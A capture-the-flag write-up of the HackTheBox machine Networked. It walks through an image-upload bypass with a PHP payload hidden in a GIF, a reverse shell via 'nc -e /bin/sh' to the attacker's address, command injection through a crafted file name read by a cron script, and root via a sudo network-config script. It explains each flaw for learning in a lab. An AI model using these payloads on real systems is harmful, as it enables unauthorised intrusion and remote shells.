HackTheBox – Networked

The initial nmap for the HackTheBox machine Networked revealed only 2 open ports:

# Nmap 7.80 scan initiated Sat Sep 14 09:59:25 2019 as: nmap -p- -o nmap_full 10.10.10.146
Nmap scan report for 10.10.10.146
Host is up (0.026s latency).
Not shown: 65532 filtered ports
PORT    STATE  SERVICE
22/tcp  open   ssh
80/tcp  open   http

The website on port 80 only displayed this message:

The source code of that pages also includes a comment:

Running dirb against the website shows a interesting folder:

---- Scanning URL: http://10.10.10.146/ ----
==> DIRECTORY: http://10.10.10.146/backup/
+ http://10.10.10.146/cgi-bin/ (CODE:403|SIZE:210)
+ http://10.10.10.146/index.php (CODE:200|SIZE:229)

The backup folder only contains one file, backup.tar. Downloading this file we get the full source code of the application:

index.php
lib.php
photos.php
upload.php

We can now request those files as well and explore the functional parts. The upload.php file allows us to upload images which are then displayed on photos.php.

Reading upload.php we can see that the images get uploaded to the uploads folder. The filename of the upload is checked and must end in .jpg, .jpeg, .png or .gif. It also checks that the file is an image via the PHP function finfo_file().

The file extension can’t be circumvented, but we can craft a file that passes as a gif image which includes PHP code like this:

GIF89a;
<?php system('nc -e /bin/sh 10.10.14.9 4444'); ?>

We uploaded the file as “foo.php.gif” like this:

Afterwards we started a netcat listener on port 4444. We can now get the URL of the uploaded image by accessing http://10.10.10.146/photos.php. Accessing the URL http://10.10.10.146/uploads/10_10_14_9.php.gif spawned a reverse shell as the apache user:

# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.146: inverse host lookup failed: Unknown host
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.146] 50108
id
uid=48(apache) gid=48(apache) groups=48(apache)

With that user we could now also investigate why a .gif file is being executed as PHP. The PHP configuration on the system was changed to this:

% cat /etc/httpd/conf.d/php.conf
AddHandler php5-script .php
AddType text/html .php
DirectoryIndex index.php
php_value session.save_handler "files"
php_value session.save_path    "/var/lib/php/session"

The AddHandler line does interpret only files with the .php extension as PHP code, but as written in the mod_mime documentation, a file can have multiple extensions. And the extension argument will be compared against all of them.

The default configuration would be:

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

This would make sure that only files ending in .php would get interpreted as PHP code. But this wasn’t used.

Due to that the gif file was interpreted as PHP code.
To get a user shell we found those two files in the home of guly:

cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
cat check_attack.php
<?php require '/var/www/html/lib.php'; $path = '/var/www/html/uploads/'; $logpath = '/tmp/attack.log'; $to = 'guly'; $msg= ''; $headers = "X-Mailer: check_attack.php\r\n"; $files = array(); $files = preg_grep('/^([^.])/', scandir($path)); foreach ($files as $key => $value) {
	$msg='';
  if ($value == 'index.html') {
	continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

This means that every 3 minutes the check_attack.php script is running. This script checks if the uploaded files are malicious by checking against a regex and running the names through the check_ip() function. If the file is detected as malicious it gets removed, but the call to rm is not sanitized. We can inject commands to that. We simply create a malicious file like this:

cd /var/www/html/uploads
touch 'fooo; nc -c sh 10.10.14.9 5555'

After waiting 3 minutes our netcat listener got a connection back with the user guly:

# nc -vnlp 5555
listening on [any] 5555 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.146] 42036
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
cat user.txt
526cfc2305f17faaa****************

One of the first things to always check after gaining user is any configured sudo permissions, this time we got one allowed command:

sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

The /usr/local/sbin/changename.sh script does the following:

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp="^[a-zA-Z0-9_\ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

It basically asks us to fill out 4 variables, then writes a network interface configuration file and tries to bring up that device. By passing in xx sh as one of the variables we can get a root-shell:

sudo /usr/local/sbin/changename.sh
interface NAME:
xx sh
interface PROXY_METHOD:
x
interface BROWSER_ONLY:
x
interface BOOTPROTO:
x
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
0a8ecda83f1d********************

Now why does this work?
In the resulting ifcfg-guly file this line will be written:

NAME=xx sh

The command /sbin/ifup guly0 will at some point run the following function:

source_config ()
{
    CONFIG=${CONFIG##*/}
    DEVNAME=${CONFIG##ifcfg-}
    . /etc/sysconfig/network-scripts/$CONFIG
    (...)

This sources the file which includes the above variable assignment. Sourcing is practically just running the supplied script but in the current shell (variables set in the script would be available afterwards). So this will run:

NAME=xx sh

Since that variable assignment is not quoted that means that the command sh is run with the environment variable NAME set to xx. Since sh doesn’t care about that variable, it simply runs, giving us a root-shell.

Leave a Reply

Your email address will not be published.